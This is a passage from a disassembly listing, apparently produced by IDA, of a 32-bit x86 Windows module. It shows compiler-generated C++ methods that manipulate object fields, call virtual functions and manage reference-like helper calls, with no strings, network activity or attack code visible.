		movzx	ecx, byte ptr [esi+8]
		push	ecx
		push	eax
		push	edi
		call	sub_69B8F2B6


loc_69B8F322:				; CODE XREF: sub_69B8F2CD+32j
					; sub_69B8F2CD+36j
		pop	edi
		pop	esi
		retn	4
sub_69B8F2CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F327	proc near		; DATA XREF: .text:69B17058o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+0Ch]
		cmp	dword ptr [edi], 0
		jnz	short loc_69B8F395
		cmp	byte ptr [esi+8], 0
		jnz	short loc_69B8F35A
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		test	al, al
		jnz	short loc_69B8F35A


loc_69B8F345:				; CODE XREF: sub_69B8F327+3Cj
		mov	ecx, [esi+14h]
		push	[esp+8+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		push	eax
		push	edi
		call	sub_69B17320
		jmp	short loc_69B8F395
; ---------------------------------------------------------------------------


loc_69B8F35A:				; CODE XREF: sub_69B8F327+10j
					; sub_69B8F327+1Cj
		mov	al, [esi+8]
		test	al, al
		jz	short loc_69B8F365
		cmp	al, 1
		jnz	short loc_69B8F345


loc_69B8F365:				; CODE XREF: sub_69B8F327+38j
		mov	ecx, [esi+14h]
		push	[esp+8+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+28h]
		push	eax
		push	edi
		call	sub_69B17320
		mov	ecx, [esi+18h]
		push	[esp+8+arg_0]
		mov	eax, [ecx]
		mov	esi, [edi]
		call	dword ptr [eax+40h]
		push	eax
		mov	ecx, esi
		call	sub_69B90334


loc_69B8F395:				; CODE XREF: sub_69B8F327+Aj
					; sub_69B8F327+31j
		mov	eax, [edi]
		pop	edi
		pop	esi
		retn	4
sub_69B8F327	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F39C	proc near		; DATA XREF: .text:69B1705Co

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+10h]
		cmp	dword ptr [edi], 0
		jnz	short loc_69B8F40F
		cmp	byte ptr [esi+8], 0
		jnz	short loc_69B8F3CF
		mov	ecx, [esi+18h]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		test	al, al
		jnz	short loc_69B8F3CF
		mov	ecx, [esi+18h]


loc_69B8F3BD:				; CODE XREF: sub_69B8F39C+41j
		push	[esp+8+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		push	eax
		push	edi
		call	sub_69B17320
		jmp	short loc_69B8F40F
; ---------------------------------------------------------------------------


loc_69B8F3CF:				; CODE XREF: sub_69B8F39C+10j
					; sub_69B8F39C+1Cj
		mov	al, [esi+8]
		cmp	al, 1
		jz	short loc_69B8F3DF
		test	al, al
		jz	short loc_69B8F3DF
		mov	ecx, [esi+14h]
		jmp	short loc_69B8F3BD
; ---------------------------------------------------------------------------


loc_69B8F3DF:				; CODE XREF: sub_69B8F39C+38j
					; sub_69B8F39C+3Cj
		mov	ecx, [esi+14h]
		push	[esp+8+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+28h]
		push	eax
		push	edi
		call	sub_69B17320
		mov	ecx, [esi+18h]
		push	[esp+8+arg_0]
		mov	eax, [ecx]
		mov	esi, [edi]
		call	dword ptr [eax+44h]
		push	eax
		mov	ecx, esi
		call	sub_69B90334


loc_69B8F40F:				; CODE XREF: sub_69B8F39C+Aj
					; sub_69B8F39C+31j
		mov	eax, [edi]
		pop	edi
		pop	esi
		retn	4
sub_69B8F39C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8F416	proc near		; DATA XREF: .text:69B17060o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, ecx
		movzx	eax, byte ptr [esi+8]
		sub	eax, 0
		mov	ecx, [esi+14h]
		push	edi
		jz	short loc_69B8F496
		dec	eax
		jz	short loc_69B8F482
		dec	eax
		mov	eax, [ecx]
		jz	short loc_69B8F47B
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	dword ptr [eax+48h]
		mov	edi, [ebx+8]
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	edi, [ebx+8]
		jmp	short loc_69B8F476
; ---------------------------------------------------------------------------


loc_69B8F451:				; CODE XREF: sub_69B8F416+61j
		mov	ecx, [esi+10h]
		push	edi
		call	sub_69B9030C
		test	al, al
		jz	short loc_69B8F476
		mov	eax, [esi+0Ch]
		push	edi
		mov	ecx, ebx
		mov	[ebp+arg_0], eax
		call	sub_69B1A954
		push	[ebp+arg_0]
		mov	ecx, [eax]
		call	sub_69B90334


loc_69B8F476:				; CODE XREF: sub_69B8F416+39j
					; sub_69B8F416+46j
		dec	edi
		jns	short loc_69B8F451
		jmp	short loc_69B8F4E7
; ---------------------------------------------------------------------------


loc_69B8F47B:				; CODE XREF: sub_69B8F416+1Aj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		jmp	dword ptr [eax+48h]
; ---------------------------------------------------------------------------


loc_69B8F482:				; CODE XREF: sub_69B8F416+15j
		push	[ebp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+48h]
		mov	ecx, [esi+18h]
		mov	eax, [ecx]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		jmp	dword ptr [eax+48h]
; ---------------------------------------------------------------------------


loc_69B8F496:				; CODE XREF: sub_69B8F416+12j
		mov	edi, [ebp+arg_0]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+48h]
		mov	ecx, [esi+18h]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+48h]
		mov	ebx, [edi+8]
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+44h]
		mov	ecx, [esi+18h]
		mov	[ebp+arg_0], eax
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+40h]
		mov	esi, [edi+8]
		mov	ebx, eax
		jmp	short loc_69B8F4E4
; ---------------------------------------------------------------------------


loc_69B8F4C7:				; CODE XREF: sub_69B8F416+CFj
		mov	ecx, [ebp+arg_0]
		push	esi
		call	sub_69B9030C
		test	al, al
		jz	short loc_69B8F4E4
		push	esi
		mov	ecx, edi
		call	sub_69B1A954
		mov	ecx, [eax]
		push	ebx
		call	sub_69B90334


loc_69B8F4E4:				; CODE XREF: sub_69B8F416+AFj
					; sub_69B8F416+BCj
		dec	esi
		jns	short loc_69B8F4C7


loc_69B8F4E7:				; CODE XREF: sub_69B8F416+63j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_69B8F416	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F4EE	proc near		; DATA XREF: .text:69B1704Co
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi


loc_69B8F50A:				; CODE XREF: sub_69B8FA32+11j
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		push	0
		add	esi, 10h
		push	esi
		call	sub_69B17320
		pop	esi
		retn
sub_69B8F4EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F525	proc near		; CODE XREF: sub_69B8BC27+38p
					; sub_69B8BCA2+4Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		and	dword ptr [esi+10h], 0
		mov	eax, ecx
		mov	ecx, [eax+24h]
		test	ecx, ecx
		jz	short loc_69B8F55F
		cmp	dword ptr [ecx+0Ch], 0
		jle	short loc_69B8F55F
		mov	eax, [eax+20h]
		push	edi
		mov	edi, [eax+0Ch]
		push	0
		call	sub_69B8A163
		push	edi
		mov	ecx, eax
		call	sub_69B1A954
		cmp	dword ptr [eax], 0
		pop	edi
		setnle	al
		mov	[esi+14h], al
		jmp	short loc_69B8F563
; ---------------------------------------------------------------------------


loc_69B8F55F:				; CODE XREF: sub_69B8F525+10j
					; sub_69B8F525+16j
		mov	byte ptr [esi+14h], 1


loc_69B8F563:				; CODE XREF: sub_69B8F525+38j
		pop	esi
		retn	4
sub_69B8F525	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F567	proc near		; CODE XREF: sub_69B5B040+25p
					; sub_69B8CB17+40p ...
		push	esi
		mov	esi, ecx
		call	sub_69B1D7F6
		push	eax
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		call	sub_69B315A6
		push	eax
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17320
		call	sub_69B1D7F6
		push	eax
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		call	sub_69B8A676
		push	eax
		add	esi, 2Ch
		push	esi
		call	sub_69B17320
		pop	esi
		retn
sub_69B8F567	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F5A8	proc near		; CODE XREF: sub_69B5BEDE+111p
					; sub_69B5C12E+16p ...
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+2Ch]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+48h]
		mov	ecx, [esi+2Ch]
		cmp	dword ptr [ecx+0Ch], 0
		mov	edi, eax
		jnz	short loc_69B8F60F
		cmp	byte ptr [edi+8], 5
		jnz	short loc_69B8F5FF
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1
		mov	ebp, [edi+18h]
		push	ebx
		mov	ebx, eax
		jg	short loc_69B8F5DC
		call	sub_69B2E6D8


loc_69B8F5DC:				; CODE XREF: sub_69B8F5A8+2Dj
		cmp	ebp, [ebx+10h]
		pop	ebx
		jnz	short loc_69B8F5FF
		push	1Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8F5FD
		push	3
		push	0
		push	edi
		mov	ecx, eax
		call	sub_69B16FD4
		mov	edi, eax
		jmp	short loc_69B8F5FF
; ---------------------------------------------------------------------------


loc_69B8F5FD:				; CODE XREF: sub_69B8F5A8+43j
		xor	edi, edi


loc_69B8F5FF:				; CODE XREF: sub_69B8F5A8+1Cj
					; sub_69B8F5A8+38j ...
		push	edi
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		mov	byte ptr [esi+29h], 0
		jmp	short loc_69B8F639
; ---------------------------------------------------------------------------


loc_69B8F60F:				; CODE XREF: sub_69B8F5A8+16j
		mov	eax, [ecx]
		call	dword ptr [eax+48h]
		mov	ebp, eax
		test	ebp, ebp
		jz	short loc_69B8F62C
		push	edi
		lea	eax, [ebp+18h]
		push	eax
		call	sub_69B17320
		mov	edi, ebp
		mov	byte ptr [esi+29h], 1
		jmp	short loc_69B8F630
; ---------------------------------------------------------------------------


loc_69B8F62C:				; CODE XREF: sub_69B8F5A8+70j
		mov	byte ptr [esi+29h], 0


loc_69B8F630:				; CODE XREF: sub_69B8F5A8+82j
		mov	ecx, [esi+2Ch]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+4Ch]


loc_69B8F639:				; CODE XREF: sub_69B8F5A8+65j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_69B8F5A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F63D	proc near		; CODE XREF: sub_69B5AE06+17j
					; sub_69B8DBA2+6Dp
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+2Ch]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+48h]
		mov	esi, [esi+2Ch]
		push	1Ch
		mov	edi, eax
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8F667
		push	1
		push	0
		push	edi
		mov	ecx, eax
		call	sub_69B16FD4
		jmp	short loc_69B8F669
; ---------------------------------------------------------------------------


loc_69B8F667:				; CODE XREF: sub_69B8F63D+1Aj
		xor	eax, eax


loc_69B8F669:				; CODE XREF: sub_69B8F63D+28j
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+4Ch]
		pop	edi
		pop	esi
		retn
sub_69B8F63D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F674	proc near		; CODE XREF: sub_69B5AE06+22j
					; sub_69B8DBA2+60p
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+2Ch]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+48h]
		mov	esi, [esi+2Ch]
		push	1Ch
		mov	edi, eax
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8F69E
		push	0
		push	0
		push	edi
		mov	ecx, eax
		call	sub_69B16FD4
		jmp	short loc_69B8F6A0
; ---------------------------------------------------------------------------


loc_69B8F69E:				; CODE XREF: sub_69B8F674+1Aj
		xor	eax, eax


loc_69B8F6A0:				; CODE XREF: sub_69B8F674+28j
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+4Ch]
		pop	edi
		pop	esi
		retn
sub_69B8F674	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8F6AB	proc near		; CODE XREF: sub_69B8FFB1+2p
					; sub_69B8FFB9+2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+2Ch]
		push	edi
		xor	edi, edi
		cmp	[ecx+0Ch], edi
		jle	short loc_69B8F728
		mov	eax, [ecx]
		call	dword ptr [eax+48h]
		cmp	byte ptr [esi+29h], 0
		mov	ebx, eax
		jz	short loc_69B8F700
		cmp	byte ptr [ebx+8], 5
		jz	short loc_69B8F700
		lea	edi, [ebx+18h]
		mov	eax, [edi]
		push	1Ch
		mov	[ebp+var_4], eax
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8F6F5
		push	[ebp+arg_0]
		mov	ecx, eax
		push	0
		push	[ebp+var_4]
		call	sub_69B16FD4
		jmp	short loc_69B8F6F7
; ---------------------------------------------------------------------------


loc_69B8F6F5:				; CODE XREF: sub_69B8F6AB+37j
		xor	eax, eax


loc_69B8F6F7:				; CODE XREF: sub_69B8F6AB+48j
		push	eax
		push	edi
		call	sub_69B17320
		jmp	short loc_69B8F71D
; ---------------------------------------------------------------------------


loc_69B8F700:				; CODE XREF: sub_69B8F6AB+1Ej
					; sub_69B8F6AB+24j
		push	1Ch
		call	sub_69B17EF3
		cmp	eax, edi
		jz	short loc_69B8F71B
		push	[ebp+arg_0]
		mov	ecx, eax
		push	edi
		push	ebx
		call	sub_69B16FD4
		mov	ebx, eax
		jmp	short loc_69B8F71D
; ---------------------------------------------------------------------------


loc_69B8F71B:				; CODE XREF: sub_69B8F6AB+5Ej
		xor	ebx, ebx


loc_69B8F71D:				; CODE XREF: sub_69B8F6AB+53j
					; sub_69B8F6AB+6Ej
		mov	ecx, [esi+2Ch]
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+4Ch]
		jmp	short loc_69B8F74F
; ---------------------------------------------------------------------------


loc_69B8F728:				; CODE XREF: sub_69B8F6AB+11j
		add	esi, 10h
		mov	ebx, [esi]
		push	1Ch
		call	sub_69B17EF3
		cmp	eax, edi
		jz	short loc_69B8F746
		push	[ebp+arg_0]
		mov	ecx, eax
		push	edi
		push	ebx
		call	sub_69B16FD4
		jmp	short loc_69B8F748
; ---------------------------------------------------------------------------


loc_69B8F746:				; CODE XREF: sub_69B8F6AB+8Bj
		xor	eax, eax


loc_69B8F748:				; CODE XREF: sub_69B8F6AB+99j
		push	eax
		push	esi
		call	sub_69B17320


loc_69B8F74F:				; CODE XREF: sub_69B8F6AB+7Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B8F6AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F756	proc near		; CODE XREF: sub_69B8B2D6+16p
		mov	al, [ecx+28h]
		cmp	al, 4
		jz	short loc_69B8F785
		test	al, al
		jz	short loc_69B8F785
		mov	eax, [ecx+20h]
		mov	ecx, [ecx+24h]
		push	esi
		mov	esi, [eax+0Ch]
		push	0
		call	sub_69B8A163
		push	esi
		mov	ecx, eax
		call	sub_69B1A954
		xor	ecx, ecx
		cmp	[eax], ecx
		pop	esi
		setnle	cl
		mov	al, cl
		retn
; ---------------------------------------------------------------------------


loc_69B8F785:				; CODE XREF: sub_69B8F756+5j
					; sub_69B8F756+9j
		mov	al, 1
		retn
sub_69B8F756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8F788	proc near		; CODE XREF: sub_69B8FACC+C7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	[ebp+arg_0]
		mov	esi, ecx
		mov	ecx, [esi+24h]
		call	sub_69B8A163
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	short loc_69B8F80A
		push	ebx
		call	sub_69B1D7F6
		push	dword ptr [esi+18h]
		lea	ecx, [ebp+var_8]
		mov	ebx, eax
		call	sub_69B8A0E9
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_4]
		jnb	short loc_69B8F807
		push	edi


loc_69B8F7BE:				; CODE XREF: sub_69B8F788+7Cj
		mov	eax, [eax]
		mov	edi, [eax+18h]
		test	edi, edi
		jz	short loc_69B8F7F8
		push	edi
		mov	ecx, ebx
		call	sub_69B677BA
		test	al, al
		jnz	short loc_69B8F7F8
		mov	ecx, [esi+1Ch]
		push	edi
		call	sub_69B1980A
		test	eax, eax
		jz	short loc_69B8F7F8
		push	dword ptr [eax+8]
		mov	ecx, [ebp+arg_0]
		call	sub_69B1A954
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_69B8F7F8
		push	edi
		mov	ecx, ebx
		call	sub_69B8A35C


loc_69B8F7F8:				; CODE XREF: sub_69B8F788+3Dj
					; sub_69B8F788+49j ...
		mov	eax, [ebp+var_8]
		add	eax, 4
		cmp	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		jb	short loc_69B8F7BE
		pop	edi


loc_69B8F807:				; CODE XREF: sub_69B8F788+33j
		mov	eax, ebx
		pop	ebx


loc_69B8F80A:				; CODE XREF: sub_69B8F788+18j
		pop	esi
		leave
		retn	4
sub_69B8F788	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F80F	proc near		; CODE XREF: sub_69B7855F+9Bp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		mov	esi, ecx
		jz	short loc_69B8F836
		mov	ecx, [esi+1Ch]
		push	edi
		call	sub_69B1980A
		test	eax, eax
		jz	short loc_69B8F836
		mov	eax, [esi+10h]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_69B8F103
		jmp	short loc_69B8F838
; ---------------------------------------------------------------------------


loc_69B8F836:				; CODE XREF: sub_69B8F80F+Aj
					; sub_69B8F80F+17j
		xor	al, al


loc_69B8F838:				; CODE XREF: sub_69B8F80F+25j
		pop	edi
		pop	esi
		retn	4
sub_69B8F80F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8F83D	proc near		; CODE XREF: sub_69B8C881+41p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	34h
		mov	edi, ecx
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8F85D
		mov	ecx, eax
		call	sub_69B16F64
		mov	esi, eax
		jmp	short loc_69B8F85F
; ---------------------------------------------------------------------------


loc_69B8F85D:				; CODE XREF: sub_69B8F83D+13j
		xor	esi, esi


loc_69B8F85F:				; CODE XREF: sub_69B8F83D+1Ej
		mov	al, [edi+8]
		mov	[esi+8], al
		mov	al, [edi+9]
		mov	[esi+9], al
		mov	al, [edi+28h]
		mov	[esi+28h], al
		mov	al, [edi+30h]
		mov	[esi+30h], al
		call	sub_69B1D7F6
		push	eax
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		call	sub_69B315A6
		push	eax
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17320
		call	sub_69B1D7F6
		push	eax
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		mov	ecx, [edi+10h]
		test	ecx, ecx
		jz	short loc_69B8F8B3
		mov	eax, [ecx]
		push	esi
		call	dword ptr [eax+3Ch]
		jmp	short loc_69B8F8B5
; ---------------------------------------------------------------------------


loc_69B8F8B3:				; CODE XREF: sub_69B8F83D+6Cj
		xor	eax, eax


loc_69B8F8B5:				; CODE XREF: sub_69B8F83D+74j
		push	eax
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		cmp	dword ptr [edi+24h], 0
		jz	short loc_69B8F937
		call	sub_69B1D7F6
		push	dword ptr [edi+24h]
		lea	ecx, [ebp+var_10]
		mov	[ebp+var_8], eax
		call	sub_69B8A0E9
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_10], eax
		jnb	short loc_69B8F92B
		push	ebx


loc_69B8F8E1:				; CODE XREF: sub_69B8F83D+EBj
		mov	eax, [ebp+var_10]
		mov	eax, [eax]
		mov	ebx, [eax+8]
		mov	[ebp+var_4], eax
		lea	eax, ds:10h[ebx*4]
		push	eax
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	[edi+8], ebx
		call	sub_69B19118
		push	[ebp+var_4]
		mov	ecx, edi
		mov	dword ptr [edi], offset	off_69B13D68
		call	sub_69B8F19A
		mov	ecx, [ebp+var_8]
		push	edi
		call	sub_69B8A35C
		mov	eax, [ebp+var_C]
		add	[ebp+var_10], 4
		cmp	[ebp+var_10], eax
		jb	short loc_69B8F8E1
		pop	ebx


loc_69B8F92B:				; CODE XREF: sub_69B8F83D+A1j
		push	[ebp+var_8]
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320


loc_69B8F937:				; CODE XREF: sub_69B8F83D+86j
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_69B8F83D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F93D	proc near		; DATA XREF: .text:69B16FA8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B8F958
		test	[esp+4+arg_0], 1
		jz	short loc_69B8F952
		push	esi
		call	sub_69B1829F


loc_69B8F952:				; CODE XREF: sub_69B8F93D+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8F93D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F958	proc near		; CODE XREF: sub_69B8F93D+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B8F958	endp

; [00000003 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_69B8F9AE	proc near		; DATA XREF: .text:69B17118o
		cmp	dword ptr [ecx+18h], 0
		setz	al
		retn
sub_69B8F9AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F9B6	proc near		; DATA XREF: .text:69B17120o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+0Ch]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B8F9ED
		push	20h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8F9DA
		push	[esp+8+arg_0]
		mov	ecx, eax
		call	sub_69B901E8
		jmp	short loc_69B8F9DC
; ---------------------------------------------------------------------------


loc_69B8F9DA:				; CODE XREF: sub_69B8F9B6+15j
		xor	eax, eax


loc_69B8F9DC:				; CODE XREF: sub_69B8F9B6+22j
		push	eax
		push	esi
		call	sub_69B17320
		push	dword ptr [edi+14h]
		mov	ecx, [esi]
		call	sub_69B902DF


loc_69B8F9ED:				; CODE XREF: sub_69B8F9B6+Aj
		mov	eax, [esi]
		pop	edi
		pop	esi
		retn	4
sub_69B8F9B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8F9F4	proc near		; DATA XREF: .text:69B17124o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+10h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B8FA2B
		push	20h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8FA18
		push	[esp+8+arg_0]
		mov	ecx, eax
		call	sub_69B901E8
		jmp	short loc_69B8FA1A
; ---------------------------------------------------------------------------


loc_69B8FA18:				; CODE XREF: sub_69B8F9F4+15j
		xor	eax, eax


loc_69B8FA1A:				; CODE XREF: sub_69B8F9F4+22j
		push	eax
		push	esi
		call	sub_69B17320
		push	dword ptr [edi+14h]
		mov	ecx, [esi]
		call	sub_69B902DF


loc_69B8FA2B:				; CODE XREF: sub_69B8F9F4+Aj
		mov	eax, [esi]
		pop	edi
		pop	esi
		retn	4
sub_69B8F9F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8FA32	proc near		; DATA XREF: .text:69B17114o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	loc_69B8F50A
sub_69B8FA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8FA48	proc near		; CODE XREF: sub_69B8FA5F+7p
					; sub_69B8FF0A+6Dp
		push	1Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8FA5A
		mov	ecx, eax
		jmp	sub_69B17064
; ---------------------------------------------------------------------------


loc_69B8FA5A:				; CODE XREF: sub_69B8FA48+9j
		xor	eax, eax
		retn	8
sub_69B8FA48	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8FA5F	proc near		; DATA XREF: .text:69B1711Co

arg_0		= dword	ptr  4

		push	dword ptr [ecx+18h]
		push	[esp+4+arg_0]
		call	sub_69B8FA48
		retn	4
sub_69B8FA5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8FA6E	proc near		; DATA XREF: .text:69B170ECo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		call	sub_69B8F249
		test	[esp+4+arg_0], 1
		jz	short loc_69B8FA8E
		push	esi
		call	sub_69B1829F


loc_69B8FA8E:				; CODE XREF: sub_69B8FA6E+18j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8FA6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8FA94	proc near		; DATA XREF: .text:69B17024o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B8FAAF
		test	[esp+4+arg_0], 1
		jz	short loc_69B8FAA9
		push	esi
		call	sub_69B1829F


loc_69B8FAA9:				; CODE XREF: sub_69B8FA94+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8FA94	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8FAAF	proc near		; CODE XREF: sub_69B8FA94+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B8F249
sub_69B8FAAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8FACC	proc near		; CODE XREF: sub_69B8C084+89p
					; sub_69B8C084+1BEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+28h], 4
		jnz	short loc_69B8FAE4
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+14h], 1
		jmp	loc_69B8FBCA
; ---------------------------------------------------------------------------


loc_69B8FAE4:				; CODE XREF: sub_69B8FACC+Aj
		mov	eax, [ebp+arg_4]
		test	eax, eax
		push	edi
		jnz	short loc_69B8FB01
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1
		mov	edi, eax
		jg	short loc_69B8FAFE
		call	sub_69B2E6D8


loc_69B8FAFE:				; CODE XREF: sub_69B8FACC+2Bj
		mov	eax, [edi+10h]


loc_69B8FB01:				; CODE XREF: sub_69B8FACC+1Ej
		mov	ecx, [esi+1Ch]
		push	ebx
		push	eax
		call	sub_69B1980A
		test	eax, eax
		mov	edi, [ebp+arg_0]
		jz	short loc_69B8FB54
		push	dword ptr [edi+10h]
		mov	ecx, [esi+24h]
		mov	ebx, [eax+8]
		call	sub_69B8A163
		push	ebx
		mov	ecx, eax
		call	sub_69B1A954
		mov	eax, [eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_69B8FB54
		mov	[edi+10h], eax
		mov	ecx, [esi+20h]
		mov	ebx, [ecx+0Ch]
		mov	ecx, [esi+24h]
		push	eax
		call	sub_69B8A163
		push	ebx
		mov	ecx, eax
		call	sub_69B1A954
